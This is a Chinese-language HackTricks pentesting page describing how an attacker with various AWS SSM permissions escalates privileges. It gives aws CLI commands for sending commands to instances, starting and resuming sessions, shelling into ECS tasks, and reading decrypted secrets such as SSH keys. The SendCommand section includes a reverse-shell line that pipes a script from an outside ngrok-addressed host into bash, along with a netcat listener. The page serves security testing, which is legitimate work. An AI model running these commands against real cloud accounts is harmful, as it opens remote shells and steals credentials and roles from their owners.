AWS - SSM Privesc

支持 HackTricks

SSM

有关 SSM 的更多信息,请查看:

ssm:SendCommand

具有权限 ssm:SendCommand 的攻击者可以 在运行 Amazon SSM Agent 的实例中执行命令危害其中运行的 IAM 角色

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

在您使用此技术在已被攻陷的 EC2 实例中提升权限的情况下,您可以通过以下方式在本地捕获 rev shell:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

潜在影响: 直接提升权限到附加在运行实例上的 EC2 IAM 角色,这些实例运行着 SSM 代理。

ssm:StartSession

拥有权限 ssm:StartSession 的攻击者可以 在运行 Amazon SSM 代理的实例中启动类似 SSH 的会话,并 破坏其中运行的 IAM 角色

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

潜在影响: 直接提升权限到附加到运行实例的 EC2 IAM 角色,这些实例运行着 SSM 代理。

提升权限到 ECS

ECS 任务ExecuteCommand 启用 的方式运行时,具有足够权限的用户可以使用 ecs execute-command 在容器内 执行命令。 根据 文档,这是通过在您用来启动 “exec” 命令的设备与目标容器之间创建安全通道来完成的,使用 SSM 会话管理器。 (SSM 会话管理器插件是实现此功能所必需的) 因此,具有 ssm:StartSession 权限的用户将能够通过运行以下命令 在启用该选项的 ECS 任务中获取 shell

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

潜在影响: 直接提升权限到附加到运行任务的 ECS IAM 角色,且启用了 ExecuteCommand

ssm:ResumeSession

拥有权限 ssm:ResumeSession 的攻击者可以在运行 Amazon SSM Agent 的实例中重新启动 SSH 类会话,并且在断开的 SSM 会话状态下危害其中运行的 IAM 角色

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

潜在影响: 直接提升权限到附加到运行实例的 EC2 IAM 角色,这些实例运行着 SSM 代理并且有断开的会话。

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

拥有上述权限的攻击者将能够列出 SSM 参数以明文读取它们。在这些参数中,您经常可以 找到敏感信息,例如 SSH 密钥或 API 密钥。

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

潜在影响: 在参数中找到敏感信息。

ssm:ListCommands

拥有此权限的攻击者可以列出所有发送的 命令,并希望在其中找到 敏感信息

aws ssm list-commands

潜在影响: 在命令行中查找敏感信息。

ssm:GetCommandInvocation,(ssm:ListCommandInvocations | ssm:ListCommands)

拥有这些权限的攻击者可以列出所有发送的 命令读取生成的输出,希望能找到 敏感信息

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

潜在影响: 在命令行输出中查找敏感信息。

Codebuild

您还可以使用 SSM 进入正在构建的 codebuild 项目:

支持 HackTricks

Last updated